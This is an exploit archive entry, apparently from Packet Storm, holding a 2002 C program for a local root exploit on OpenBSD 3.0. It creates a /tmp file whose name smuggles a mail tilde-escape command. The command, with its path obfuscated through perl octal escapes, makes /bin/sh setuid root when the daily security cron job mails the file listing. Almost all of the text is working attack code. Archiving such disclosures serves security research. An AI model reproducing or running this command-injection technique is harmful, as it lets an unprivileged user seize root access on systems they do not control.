OpenBSD 3.0 cron / mail local root exploit. Creates a suid shell after /etc/daily runs.
72d35ea6ab315d9c96c3184343dee252/*
* (c) 2002 venglin@freebsd.lublin.pl
*
* OpenBSD 3.0 (before 08 Apr 2002)
* /etc/security + /usr/bin/mail local root exploit
*
* Run the exploit and wait for /etc/daily executed from crontab.
* /bin/sh will be suid root next day morning.
*
* Credit goes to urbanek@openbsd.cz for discovering vulnerability.
*
*/
#include <fcntl.h>
int main(void)
{
int fd;
chdir("/tmp");
fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);
if (fd)
close(fd);
}
© 2012 Packet Storm. All rights reserved.
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